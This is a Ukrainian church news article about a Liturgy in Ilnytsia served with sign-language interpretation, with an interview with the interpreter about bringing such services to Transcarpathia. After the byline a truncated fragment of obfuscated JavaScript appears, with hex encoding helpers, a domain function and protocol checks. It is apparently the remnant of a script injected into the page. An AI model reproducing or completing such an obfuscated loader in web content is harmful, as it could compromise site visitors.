У єпархії звершена Божественна Літургія із сурдоперекладом на жестову мову (+ФОТО, +ВІДЕО)

У понеділок, 16 листопада, з благословення Високопреосвященнішого Феодора, архієпископа Мукачівського і Ужгородського, у Свято-Покровському храмі с.Ільниці Іршавського району була відслужена Божественна Літургія із сурдоперекладом на жестову мову.

Літургію звершив священнослужитель Свято-Покровського храму протоієрей Феодор Лях, а переклад здійснював семінарист Київської духовної семінарії, викладач жестової мови в недільній школі «Чути серцем», що при «Галереї Соборній» у Києві, Тарас Шелельо.

За ранковим богослужінням молилися люди із вадами слуху, які мешкають у селі Ільниця. Усі вони були дуже вдячні за можливість не тільки побачити хід Божої служби, а й почути її. Відтак висловлюють щиру вдячність правлячому архієрею, владиці Феодору, священикам Свято-Покровського храму та сурдоперекладачу, і сподіваються, що  подібні богослужіння проводитимуться якомога частіше.

[youtube https://youtu.be/PbCUNcjZ52c]

Аби дізнатися про поки що рідковживану у нашому краї техніку сурдоперекладу богослужінь, ми вирішили поспілкуватись із сурдоперекладачем, семінаристом Київської духовної семінарії Тарасом Шелельо, який сам родом зі села Ільниці.

Тарасе, ви захоплюєтесь сурдоперекладом богослужінь. Як дізналися про цю техніку і, власне, як проходило її опанування?

–  До навчання у семінарії я навіть не думав, що буду займатись з людьми із вадами слуху. Жестову мову почав вивчати у 2-му класі семінарії. Ми мали спеціальний предмет, який так і називався «Основи жестової мови», після чого і  почалось моє навчання цій техніці.

Вивчаючи жестову мову, мені було дійсно цікаво, а коли ми із класом відвідали богослужіння із сурдоперекладом та поспілкувались із людьми, які мали вади слуху, я зрозумів, що цій справі хотів би присвятити усе своє життя. Учителька жестової мови, Анна Андріївна Блощинська, допомогла мені у цьому. А засвоював тактику із своїм другом і одногрупником Іваном Дарудою – ми спілкувались на жестовій мові. Я зрозумів, що потрібно один раз побачити якийсь жест, а далі його запам’ятати. Так і почав засвоювати цю мову.

Одного разу, Анна Андріївна, запросила мене допомогти їй перекласти Літургію в Іонинському монастирі, що у м. Києві. Я затоваришував із глухими людьми, так і почав перекладати богослужіння.

Наразі сурдопереклад Літургій на Закарпатті через брак відповідних фахівців, можна сказати, зовсім не проводиться. Чи можливі певні зміни у цьому напрямку?

– Звісно, що Богослужіння із сурдоперекладом для Закарпаття є нововведенням. Але я знаю багато областей України, де була подібна ситуація, однак наразі там діють релігійні громади, які займаються питаннями людей із вадами слуху. Зокрема, проводяться богослужіння із сурдоперекладом, та, головне, що в общинах несуть свій послух священики, які сповідують людей з поганим слухом використовуючи жестову мову. Люди попри проблеми зі здоров’ям мають можливість причащатись Святих Тіла і Крові Господа нашого Іісуса Христа.

Я впевнений, що через деякий час і на Закарпатті відкриється така громада, і люди зі слабким слухом зможуть кожного тижня брати живу участь у богослужінні. Нещодавно я спілкувався із нашим дорогим владикою, Високопреосвященнішим Феодором, архієпископом Мукачівським і Ужгородським, який порадував і втішив мене своїми люблячими пастирськими словами щодо богослужінь із сурдоперекладом у нашій єпархії. Владика благословив моє прохання і я дуже йому вдячний за це.

Чи готові ви особисто навчати, ділитись набутими знаннями, аби в Мукачівській православній єпархії побільшало священиків з профілем сурдоперекладачів? 

– Звичайно. Я хотів би, щоб і в нашій єпархії було багато священиків, які володіють жестовою мовою. Адже Господь посилаючи апостолів на проповідь, сказав проповідувати усім народам, так само і священик, має проводити свою пастирську діяльність для всіх людей без виключення. Тож, якщо знайдуться священнослужителі, які виявлять бажання вивчати жестову мову, я допоможу їм в цьому не легкому служінні.

Покладаєтесь на Божу допомогу у цій справі?

– Так! Без допомоги Господа я нічого не зміг би і не зможу зробити. А з Божою підтримкою, я знаю, що і на Закарпатті буде община для людей із вадами слуху, які незважаючи на свої проблеми, зможуть почуватись повноцінними людьми і відчувати повноту благодаті Божої в Євхаристії, яка так потрібна для спасіння усіх людей.

Щиро вдячна за розмову і бажаю наполегливих трудів на славу Божу!

Ольга ПАЛОШ, спеціально для m-church.org.ua

 

 

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return “m-church.org.ua”},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(“http”)==0){return p}for(var e=0;e

Залишити відповідь

Ваша e-mail адреса не оприлюднюватиметься. Обов’язкові поля позначені *

Цей сайт використовує Akismet для зменшення спаму. Дізнайтеся, як обробляються ваші дані коментарів.